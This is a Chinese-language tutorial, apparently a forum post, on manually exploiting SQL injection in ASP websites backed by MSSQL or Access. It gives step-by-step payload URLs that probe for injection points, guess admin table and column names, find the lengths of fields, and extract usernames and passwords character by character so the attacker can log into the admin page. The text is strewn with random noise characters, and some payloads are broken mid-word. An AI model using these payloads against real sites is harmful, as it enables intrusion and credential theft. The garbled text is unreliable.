隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。
H- [, t( O5 O# F2 G& C0 o8 S' Q4 f9 z. c) L
由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。1 v2 j) \- R9 p! e8 p- ]
6 D8 S! I0 w: i. Z# z2 U5 }+ d
相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
+ o3 S. e* O$ t6 c+ Q6 d/ [/ [9 @3 E# k+ T2 r$ `1 M
·錯誤類型:4 q) w# W) w6 X' e3 u
- Y- f6 H [) h- s* w2 @
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
. ~3 W- Z* ^2 R' k( a, a' |7 c[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。! f6 U* Y" D1 H1 M( o
/test/show.asp, 第 34 行9 l1 \$ `$ y+ F' C
% M. a; T Z( @4 Q S2 W從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:/ z+ X) }# L5 d# `5 J/ k- S
http://localhost/test/show.asp?ID=4 and (Select password fro3 B/ a8 {' @* p% i+ b
3 g0 P, `1 g, ], |: sm login where user_name=』admin』)>0,返回的出錯信息如下:
$ b. o- L. c$ I( C: X" j% N% c! D
8 Q. ` l! Q& ^# Q2 G& c ·錯誤類型:
. d. x K9 E X9 I- |7 D
( r# g6 j5 k) w( u7 l7 ^5 N: k, FMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07)
! b6 S% C2 D& n6 N[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。8 G, t! e4 E, z3 {3 {( H% B5 E6 L/ _. I
/test/show.asp, 第 34 行& \. X; k) M- Q9 S7 K
3 ~8 f5 H2 C6 \
現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。
# R& R+ L; e$ G7 I& w+ W7 f; Q; C$ _' ?
對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx
8 r9 o& u: l" X; d
) g4 B: y* R3 D0 q. y; kxx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx』
$ ^( X2 s* v) ]' {" L( A
) u$ @1 O" d3 [& D9 Y8 h如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:
/ n& ~ ?2 \. ?% F: f% {6 z, w+ N( ^) D6 u7 _; Q& g
Microsoft vbscript 編譯器錯誤 錯誤碼率
4 U7 E/ k( c7 a1 [
; K$ O6 d7 [5 W" q- n『800a03f6』
- W/ t8 }5 K8 [5 }
9 E7 W U. Y; V( \3 p缺少』End』
! _2 |6 c6 ]/ B6 ~* K
3 E. C- H9 e2 z, D7 c# M# J& A- S/iishelp/common/500-100.asp,行2422 }4 o/ A, @( A0 _7 U4 u, r
" ]( R, ^; V O
ADODB.Field 錯誤 『800a0bcd』
% l# Z3 t O# M1 b$ P( C& q/ F
一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:
6 X9 P! a/ h- L% N$ Z. W% B! B/ g+ X7 I$ d6 g, F# d( J
如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′" A( S P# M. m" a" |0 y4 U
出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:/ y- B6 E) W+ q
7 C) U" @- s y/ D. }! o' v
1 猜管理員帳號表。
) o7 k$ c/ d& L/ h( I& q2 猜相應表中的用戶的字段名以及密碼的字段名。+ |7 v2 d. A) j' Y) e
3 猜出用戶名的長度和密碼的長度8 a" |" o* W, Z( l7 }6 u
4 猜出用戶和密碼
# I8 [( k8 N' O. |& c3 ?9 W1 b5 找到管理頁面進入管理
7 w5 A, I9 F/ | H2 s" P' h7 z
5 z7 X, g) ~/ k5 W猜管理員的表:
) }; l! h9 \2 D5 {- w: `6 j7 m
+ s. c' E) J( Y http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值" T% [' {% T5 Y) ~
返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。8 m" ?# f! G: J: J
5 Q: X: p4 ?. U' e+ @6 J2 ]( I猜用戶的字段名:
* x, y- h1 n6 U. r' y4 {% t2 k- khttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名0 m! `- H) m) w, f
再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)# Q& S2 ?! ]3 R- g% N- Y# X
沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa
& ^/ d5 w4 i" u
* W: } R |! g猜密碼的字段名:
: J3 ^( L) G4 Ahttp://hostlocal/test2/list.asp?id=17 and 1=(select min(i
% h1 w4 a. i9 O) N$ p( b% M& G2 E( E* f' y* N: O
d) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。
+ X: `& I( V5 O; H* k( h3 c# Z1 R. N8 v2 J( R' N- e
再來:http://hostlocal/test2/list.asp?id=17 and 1=(select1 u# b% H$ z5 k/ _
& @! R8 @! R* C% Z' N) j! o min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa! k6 t3 ]3 h( ?) u
) h& b$ d o9 {猜用戶字段名長度: - N1 G8 L0 G; U
@2 {; R4 b, E9 b
http://hostlocal/test2/list.asp?id=17 and 1=(select min(9 p# h5 J8 Z% u7 n0 O% S1 h+ n
7 q6 w7 T, n" Y
id) from admin where len(username)$ g# A P2 R9 \7 q
8 _" ^) L% m) V9 G7 g
>5) ) p4 s, N" w" h) I0 s% Z
! O1 e! U5 C. }- U. l4 l 正確% Y( g# u& V6 O# p# B" e5 K3 V
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)$ c* E* z3 N1 O; G: `! s. G7 _0 [
正確
( I3 e% M3 l3 U5 q+ B* H: u+ @用戶名長度大於5小於10
# M! R" G+ J! `' b. O& ^http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
( u4 ] E }, [, C- V. ?1 V |& e2 {6 I
=7) 0 D4 l" { }# W
2 v& V1 a* F. p5 \4 {: ]呵``` 用戶名長度為7位3 P- |) U: u/ P
" N. m G0 @- r0 m+ x猜密碼長度:
& H; V. ` U lhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
0 {1 w _2 G3 A6 ?正確3 C' t) A5 ?) j% \0 Q* X
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
& h$ f0 A: L/ Y正確
& ?* k+ S% _7 G( t! G9 F密碼長度也是大於5小於10( x, X* e3 O6 Z% V7 A3 x+ i
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
% b% L# O4 T! W2 k. S呵``` 密碼長度為7位4 J" {" U! z. A' F4 n
5 m, w* ?! p" C4 r9 a
猜用戶名:
9 M! C* }+ I! G$ \& w$ Thttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)7 [, T: c q/ v$ _
* W. d8 R% m& ^
用戶名第一個字母是:a
, b/ f$ C1 w7 X- s" O$ p# W' |- @$ } i' F& v; |
猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=
3 {2 o/ E( \' Z$ w7 ?9 P
3 h. l1 n1 T) J! n6 `# B(select min(id) from admin where mid(username,2,1)=′b′) " y/ P. s: W# J" v
* r# `4 o" Y+ D: L' b2 p% f以此類推!' _. |" {% t& V) z
7 A: W: v: F" j% u0 p$ c
猜密碼:
' S/ ?3 b/ V1 x4 c; _3 s
' {/ i) E; @" d6 j5 m) S7 `3 s/ L猜密碼跟猜用戶名一樣!
0 c, U. J, T; B2 Ohttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) 8 w% s& g) x: B9 j* ~) ]% C
猜完後來到管理頁面:
% V% c! y4 T' ?) p+ b- n/ Nhttp://hostlocal/test2/admin.asp
5 W3 Z E9 j+ @# I6 Q& w- y
: L& | l5 k- X2 e$ ~. R" @登錄 |
|